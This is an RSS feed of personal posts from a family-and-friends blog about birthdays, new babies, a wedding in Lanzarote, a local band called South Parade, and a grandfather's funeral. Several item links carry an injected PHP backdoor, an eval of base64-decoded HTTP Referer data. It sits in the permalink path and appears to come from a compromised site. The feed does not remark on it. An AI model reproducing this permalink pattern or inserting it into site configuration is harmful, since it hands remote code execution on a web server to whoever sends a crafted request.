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	<title>the newts.net &#187; Friends</title>
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		<title>Happy Birthday Baby Indie!</title>
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		<pubDate>Tue, 21 Oct 2008 11:34:06 +0000</pubDate>
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		<description><![CDATA[CONGRATULATIONS! to brand new Mum &#38; Dad Jo &#38; Steve on the birth of the first baby Indie Rose.
Indie was delivered by Jo herself in the birthing pool.  She arrived at 8:16pm on Saturday 18th October 2008, weighing in at 6lb 7ozs (2.92kg).
Everything went swimmingly (no pun itended!) and Mum, Dad &#38; Indie are already [...]]]></description>
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		<title>Happy Birthday Me &amp; Trace</title>
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		<pubDate>Sun, 25 Nov 2007 15:26:17 +0000</pubDate>
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		<category><![CDATA[Agrah]]></category>
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		<category><![CDATA[Brakenborough arms]]></category>
		<category><![CDATA[worlds hottest chilli]]></category>

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		<description><![CDATA[The newts turns thirty something (again) :0)
so we celebrated at the Bracky
  
  
And just 20 days later, Trace hits the BIG 30!!
  
So we went to the Agrah to test Bov&#8217;s new found curry eating skills.  Not usually the most adventurous when it comes to food, Bov is starting to [...]]]></description>
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		<title>HELP!</title>
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		<pubDate>Sun, 21 Jan 2007 13:51:09 +0000</pubDate>
		<dc:creator>newts</dc:creator>
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		<description><![CDATA[UPDATE: HITS SO FAR (09/02/07) = 100,007
I NEED YOUR HELP!
I&#8217;ve been working on a website or two for my Uncle.  He made me a deal&#8230;
1 MILLION HITS in exchange for a TWO GRAND LAPTOP! 
It&#8217;s as simple as that folks.  I deliver him 1 million hits (not unique visitors but hits) and he [...]]]></description>
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		<title>Purple Shirt now available on You Tube!</title>
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		<pubDate>Tue, 17 Oct 2006 09:50:50 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Friends]]></category>
		<category><![CDATA[Funny Stuff]]></category>
		<category><![CDATA[Videos]]></category>

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		<description><![CDATA[You may remember the newts&#8217;s wonderfully audacious riposte to Wez&#8217;s recent bout of piss taking out of us, The Boy In The Purple Shirt.  Well it&#8217;s now available for your enjoyment at You Tube as well.

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		<title>3 TODAY!  Ben&#8217;s 3rd Birthday pics.</title>
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		<pubDate>Sun, 03 Sep 2006 23:37:45 +0000</pubDate>
		<dc:creator>newts</dc:creator>
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		<description><![CDATA[Happy Birthday to our little mate Ben. He&#8217;s the BIG 3 Today. I can&#8217;t wait to get stuck into the CAT lego construction kit, Buckaroo, Operation, Tin Can Alley, the Bosch drill set etc. etc.Â Just so I can explainÂ how they workÂ to Ben you understand ;0)

  
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		<title>Happy Birthday Jenna!</title>
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		<pubDate>Mon, 17 Jul 2006 21:58:05 +0000</pubDate>
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		<description><![CDATA[
Wow, &#8216;Baby&#8217; Jenna hits the BIG 2.Â  A small gathering of the rich, famous and privileged made the guest list @ Chez Ornz to celebrate Jenna&#8217;sÂ  entry in to the &#8216;terrible twos&#8217;.
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		<title>NORTHERN LIGHTS (Oli&#8217;s New Band)</title>
		<link>http://www.thenewts.net/2006/06/07/northern-lights-olis-new-band/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<pubDate>Wed, 07 Jun 2006 17:28:19 +0000</pubDate>
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Sadly, SOUTH PARADE as we know them have split up.
From their site:
&#8220;south parade are no more. Fuelled by personality clashes and musical indifference the band have deceided to call it a day.
The lads would like to thank ALL of the bands that have supported south parade over the past 3 years, everyone who has been [...]]]></description>
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		<title>Wales&#8230;</title>
		<link>http://www.thenewts.net/2006/06/06/wales/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<pubDate>Tue, 06 Jun 2006 11:01:44 +0000</pubDate>
		<dc:creator>newts</dc:creator>
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		<description><![CDATA[&#8230;&#8221;Not just the fish with the biggest dick in ocean, but it is also a country!&#8221;
Ali G.
And it was the destination of choice for Wez to spend his stag do.
The very picturesque North Wales town of DOLGELLAU to be precise.  You probably couldn&#8217;t get further from your typical stag do destination than the gorgous [...]]]></description>
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		<title>Wez Brown &#8211; like Derren Brown but crapper.</title>
		<link>http://www.thenewts.net/2006/05/02/wez-brown-a-bit-like-derren-brown-but-crapper/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<pubDate>Tue, 02 May 2006 01:11:03 +0000</pubDate>
		<dc:creator>newts</dc:creator>
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		<description><![CDATA[Check out me mate Wez with his mystifying display of card magic.  He&#8217;s really quite good.  Obviously not much work on over at DFDS in the last month, allowing him time to master his card manipulation skills.
Not wanting to blow the illusion here, but according to Wez: &#8220;The cards themselves make a difference, [...]]]></description>
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		<title>Baby Blues&#8230; and pinks!</title>
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		<pubDate>Wed, 19 Apr 2006 01:20:51 +0000</pubDate>
		<dc:creator>newts</dc:creator>
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		<description><![CDATA[Congratulations to Suzi &#038; Garry on their latest addition to the Ornsby clan.  Safe and well with all bits and bobs accounted for and in the right places, their new baby was born on Easter Friday 14th April just after 9:30am.

Rach getting in some practice for our impending arrival!

Names of choice before the arrival [...]]]></description>
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		<title>Acorn Signs.</title>
		<link>http://www.thenewts.net/2006/02/26/acorn-signs/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<pubDate>Sun, 26 Feb 2006 01:30:18 +0000</pubDate>
		<dc:creator>newts</dc:creator>
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		<category><![CDATA[General]]></category>

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Me mate Daz is a dab hand with a sticker. So good in fact he&#8217;s just upsized his business into new premises in Grimsby. Daz can cut signs to any size or specification. Whether it be a shop fascia or a new set of sic &#8216;go even faster&#8217; stripes for your Nissan Skyline he&#8217;s your [...]]]></description>
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		<title>Lanzarote &#8211; Jo &amp; Brod&#8217;s Wedding.</title>
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		<pubDate>Tue, 08 Nov 2005 00:17:45 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Ben &#038; Rio]]></category>
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So away we all went for a jolly to the Canaries to see Jo &#038; Steve get married in the gorgeous sunshine of Lanzarote. Jo, Brod and Brod&#8217;s family and friends drew the long straw and got to fly from Humberside, while Me, Ben, Rach and the rest of Jo&#8217;s family got the short straw [...]]]></description>
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		<title>wot no updates?</title>
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		<pubDate>Fri, 04 Nov 2005 12:17:01 +0000</pubDate>
		<dc:creator>wez</dc:creator>
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		<description><![CDATA[Even though he&#8217;s been back for a week, he still hasn&#8217;t been arsed to write anything! Newts, sort it!
In other news, may I wish the webmaster a very *Coughtyth* birthday.  Happy birthday newts, and hope you have a good &#8216;un!
Special Beans on Toast order of the day.
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		<title>South Parade do the drum bar.</title>
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		<pubDate>Wed, 05 Oct 2005 01:13:52 +0000</pubDate>
		<dc:creator>newts</dc:creator>
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		<description><![CDATA[So me and Rach had a trip down to the local college drum bar to see the latest episode of &#8220;South Parade &#8211; The Band&#8221; unfold.
First on stage was Nick Austwick, a hardened writer and performer but usually in his solo guise.  Today he fledged his new band Turning Tides.  Before the gig [...]]]></description>
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		<title>Grandad&#8217;s Funeral</title>
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		<pubDate>Fri, 16 Sep 2005 22:55:41 +0000</pubDate>
		<dc:creator>newts</dc:creator>
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		<description><![CDATA[I just wanted everyone to know what a fantastic man my Grandad was and what a send off we gave him.  He was cremated on the 12th of September 2005 and would have been so proud. The guard of honour was present along with Grandad&#8217;s family and friends. It was a an honour to [...]]]></description>
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		<title>Happy Birthday Wez.</title>
		<link>http://www.thenewts.net/2005/08/22/happy-birthday-wez-2/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<pubDate>Mon, 22 Aug 2005 23:47:47 +0000</pubDate>
		<dc:creator>newts</dc:creator>
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		<description><![CDATA[Another year older, another year uglier.  So to celebrate Wez&#8217;s 30 something year in existance, we all went bowling yesterday.  In short Toni won the 1st game, Gaz won the second game, and I came second in both with the highest aggregate score overall.  Which was nice as earlier in the day, [...]]]></description>
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		<title>Poster Proliferation!</title>
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		<pubDate>Thu, 30 Jun 2005 15:13:50 +0000</pubDate>
		<dc:creator>newts</dc:creator>
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After an undercover late night session involving 40 posters and a pot of of wallpaper paste, the South Parade lads receive a call from the council&#8217;s Poster Police department and are forced to spring into action with OPERATION CLEAN-UP!
If by some remote chance you didn&#8217;t see one of their adverts for the latest set of [...]]]></description>
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		<title>Slaley Hall ~ Bov&#8217;s Birthday&#8230;</title>
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		<pubDate>Wed, 08 Jun 2005 15:52:24 +0000</pubDate>
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		<description><![CDATA[And the inaugural Newton Invitational Jug Golf competition.

 So away the 10 of us went to the De Vere at Slaley Hall for an overnight jolly and a round of golf on the wonderful championship Hunting Course.  Bov, Trace, Wez, Tones, Pete and Jackie were off early morning, and Me, Gaz, Rach &#038; Suzi [...]]]></description>
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		<title>THE PURPLE SHIRT ARRIVES!</title>
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		<pubDate>Fri, 11 Mar 2005 01:03:19 +0000</pubDate>
		<dc:creator>newts</dc:creator>
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		<description><![CDATA[The long awaited riposte to Wez&#8217;s latest piss take of the newts &#038; crew is now available for download!  A finger pointing, piss taking masterpiece featuring Wez&#8217;s original work &#8220;Healing World&#8221;, the lads from local band SOUTH PARADE, live music, stunning video and of course webmaster newts himself.
Ladies &#038; Gentlemen, may I introduce to [...]]]></description>
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		<title>New South Parade Website.</title>
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		<pubDate>Fri, 11 Mar 2005 00:29:00 +0000</pubDate>
		<dc:creator>newts</dc:creator>
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The lads of local band South Parade are currently building and maintaining their own NEW website.  It&#8217;s early days yet but things are coming on at a pace and it&#8217;s filling up daily.
You&#8217;ll find them at: www.southparademusic.co.uk
Follow their progress on stage AND on the net!
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